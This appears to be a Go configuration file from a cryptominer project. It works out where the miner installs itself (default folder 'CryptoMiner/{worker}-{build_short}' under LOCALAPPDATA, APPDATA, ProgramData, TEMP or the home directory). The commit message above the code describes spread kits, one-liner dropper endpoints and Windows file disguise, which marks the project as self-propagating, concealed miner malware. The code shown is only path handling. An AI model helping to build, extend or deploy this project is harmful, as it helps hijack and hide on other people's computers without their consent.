Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
136 lines
3.2 KiB
Go
136 lines
3.2 KiB
Go
package config
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
)
|
|
|
|
const DefaultInstallRelativePath = "CryptoMiner/{worker}-{build_short}"
|
|
|
|
func (c RuntimeConfig) InstallDirectory() (string, error) {
|
|
base, err := resolveInstallBase(c.InstallBase, c.InstallCustomBase)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
|
|
rel := strings.TrimSpace(c.InstallRelativePath)
|
|
if rel == "" {
|
|
rel = DefaultInstallRelativePath
|
|
}
|
|
rel = expandInstallTokens(rel, c.WorkerName, c.BuildID, c.EffectiveProcessName())
|
|
rel = filepath.FromSlash(rel)
|
|
rel = strings.Trim(rel, `\/`)
|
|
if rel == "" {
|
|
return "", fmt.Errorf("install relative path resolved to empty")
|
|
}
|
|
|
|
full := filepath.Join(base, rel)
|
|
return filepath.Clean(full), nil
|
|
}
|
|
|
|
func resolveInstallBase(baseType, customBase string) (string, error) {
|
|
switch strings.ToLower(strings.TrimSpace(baseType)) {
|
|
case "", "localappdata":
|
|
if runtime.GOOS == "windows" {
|
|
return requireEnv("LOCALAPPDATA")
|
|
}
|
|
return xdgDataHome()
|
|
case "appdata":
|
|
if runtime.GOOS == "windows" {
|
|
return requireEnv("APPDATA")
|
|
}
|
|
return xdgDataHome()
|
|
case "programdata":
|
|
if runtime.GOOS == "windows" {
|
|
return requireEnv("ProgramData")
|
|
}
|
|
return xdgDataHome()
|
|
case "userprofile", "home":
|
|
if runtime.GOOS == "windows" {
|
|
return requireEnv("USERPROFILE")
|
|
}
|
|
return requireEnv("HOME")
|
|
case "xdg_data_home":
|
|
return xdgDataHome()
|
|
case "temp":
|
|
if v := os.Getenv("TEMP"); v != "" {
|
|
return v, nil
|
|
}
|
|
if v := os.Getenv("TMPDIR"); v != "" {
|
|
return v, nil
|
|
}
|
|
return requireEnv("TMP")
|
|
case "custom":
|
|
custom := strings.TrimSpace(customBase)
|
|
if custom == "" {
|
|
return "", fmt.Errorf("custom install base path is required when install_base is custom")
|
|
}
|
|
return expandEnvPath(custom), nil
|
|
default:
|
|
return "", fmt.Errorf("unsupported install base: %s", baseType)
|
|
}
|
|
}
|
|
|
|
func xdgDataHome() (string, error) {
|
|
if v := os.Getenv("XDG_DATA_HOME"); v != "" {
|
|
return v, nil
|
|
}
|
|
home, err := requireEnv("HOME")
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return filepath.Join(home, ".local", "share"), nil
|
|
}
|
|
|
|
func expandInstallTokens(path, workerName, buildID, processName string) string {
|
|
shortBuild := buildID
|
|
if len(shortBuild) > 8 {
|
|
shortBuild = shortBuild[:8]
|
|
}
|
|
replacer := strings.NewReplacer(
|
|
"{worker}", sanitizePathToken(workerName),
|
|
"{build}", sanitizePathToken(buildID),
|
|
"{build_short}", sanitizePathToken(shortBuild),
|
|
"{process}", sanitizePathToken(processName),
|
|
)
|
|
return replacer.Replace(path)
|
|
}
|
|
|
|
func sanitizePathToken(name string) string {
|
|
replacer := strings.NewReplacer(
|
|
" ", "-", "/", "-", "\\", "-", ":", "-",
|
|
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
|
|
)
|
|
clean := replacer.Replace(strings.TrimSpace(name))
|
|
if clean == "" {
|
|
return "miner"
|
|
}
|
|
return clean
|
|
}
|
|
|
|
func requireEnv(key string) (string, error) {
|
|
value := os.Getenv(key)
|
|
if value == "" {
|
|
return "", fmt.Errorf("environment variable %s is not set", key)
|
|
}
|
|
return value, nil
|
|
}
|
|
|
|
func expandEnvPath(path string) string {
|
|
out := path
|
|
for _, key := range []string{
|
|
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
|
|
"HOME", "XDG_DATA_HOME", "TMPDIR",
|
|
} {
|
|
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
|
|
}
|
|
return out
|
|
}
|
|
|
|
func expandWindowsEnv(path string) string {
|
|
return expandEnvPath(path)
|
|
}
|